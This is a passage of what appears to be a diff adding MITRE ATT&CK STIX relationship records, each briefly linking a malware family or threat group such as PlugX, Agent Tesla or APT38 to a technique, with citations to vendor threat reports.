"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using ICMP, TCP, and UDP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a0c8ed8f-8c17-4ab1-b403-f1cfd314d3da", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can download files to the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T14:51:06.825Z", + "id": "relationship--33a382a9-ebb3-48d9-bb7e-394a27783668", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.883Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[PlugX](https://attack.mitre.org/software/S0013) decompresses and decrypts itself using the Microsoft API call RtlDecompressBuffer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.152Z", + "id": "relationship--cb67b57d-2ab3-4971-9b8d-83768df36df0", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.827Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can steal data from the victim\u2019s clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:05.069Z", + "id": "relationship--06dded4b-f28c-45d3-8dc6-097a9a4a3cd6", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.274Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla April 2018", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla June 2017", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used a custom command and control protocol to communicate with C2. The string \u2018488\u2019 is placed at the top of the payload and encrypts the entre buffer with a static key using a simple XOR cipher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:09:26.704Z", + "id": "relationship--cae6319d-e6d4-4d59-ba65-09ac462ef51e", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-04-19T15:10:04.352Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Carbon](https://attack.mitre.org/software/S0335) runs the net group command to list accounts on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.737Z", + "id": "relationship--3bda9db3-3532-429c-86a4-8ff3ee32f59f", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.597Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the net use, net session, and netstat commands to gather information on network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.149Z", + "id": "relationship--6cfd90ab-8e17-4b78-9bfb-7792b8f51143", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "Responses from the [Pisloader](https://attack.mitre.org/software/S0124) C2 server are base32-encoded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used shellcode with an XOR algorithm to decrypt a payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.301Z", + "id": "relationship--d68120b8-9ef8-4a40-ae4c-d2b597336140", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.129Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[APT38](https://attack.mitre.org/groups/G0082) used a Trojan called KEYLIME to capture keystrokes from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.292Z", + "id": "relationship--1a49c7e5-32b0-4393-a464-1491b1ebc279", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "description": "A [Dipsind](https://attack.mitre.org/software/S0200) variant registers as a Winlogon Event Notify DLL to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4536c335-5138-42d1-8f1e-63dee7cb17ab", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) searches for anti-virus software and firewall products installed on the victim\u2019s machine using WMI.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.750Z", + "id": "relationship--14a9f873-cb86-4238-b6c6-8b0836512fdc", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.829Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "source_name": "Talos Micropsia June 2017", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.669Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.846Z", + "id": "relationship--27dcfdc7-f5d5-49b4-ad4e-afd43974c43c", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:21.920Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on local groups and members on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--da11f44a-5af0-4b71-a049-a9ff85e2ba9b", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.672Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can remotely activate the victim\u2019s webcam to capture content.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d2067a75-0d5d-4899-9d9f-6537d98296c1", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) establishes persistence in the Startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:11:44.233Z", + "id": "relationship--5235fbdb-5c53-4860-a459-cd4b538817db", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.433Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses FakeTLS to communicate with its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9e193b3a-3f21-43aa-b373-6fcec59ff2c7", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "source_name": "US-CERT HARDRAIN March 2018", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) uses HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:27:06.714Z", + "id": "relationship--38a3eb0c-6313-4e1d-8321-7568435a8c23", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.532Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c7fee556-41c2-43bd-a732-e11ff34fb129", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can collect the name and ID for every process running on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:43:19.359Z", + "id": "relationship--a3138e56-a496-486d-b11e-5e1c39a9c15d", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.188Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload can receive C2 from one protocol and respond on another. This is typically a mixture of HTTP, HTTPS, and DNS traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--290c0a54-2702-4d6e-97db-1eafa9a7a1f3", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.260Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Lslsass](https://attack.mitre.org/software/S0121) can dump active logon session password hashes from the lsass process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6", + "source_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded using HTTP over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.541Z", + "id": "relationship--d8492b36-1720-4ec5-964d-09574378bb7b", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.542Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d6204645-83ff-4b26-a011-9b58bab2d597", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can capture screenshots of the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:41.151Z", + "id": "relationship--6f6b8a04-916e-4f33-8837-ff48e00e771b", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) collected data from local victim systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9723e536-1491-45a4-8dc7-716e4d7df7dc", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.515Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can use HTTP and DNS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--14b70990-48b0-482b-bd5a-3a99d9d9a653", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "description": 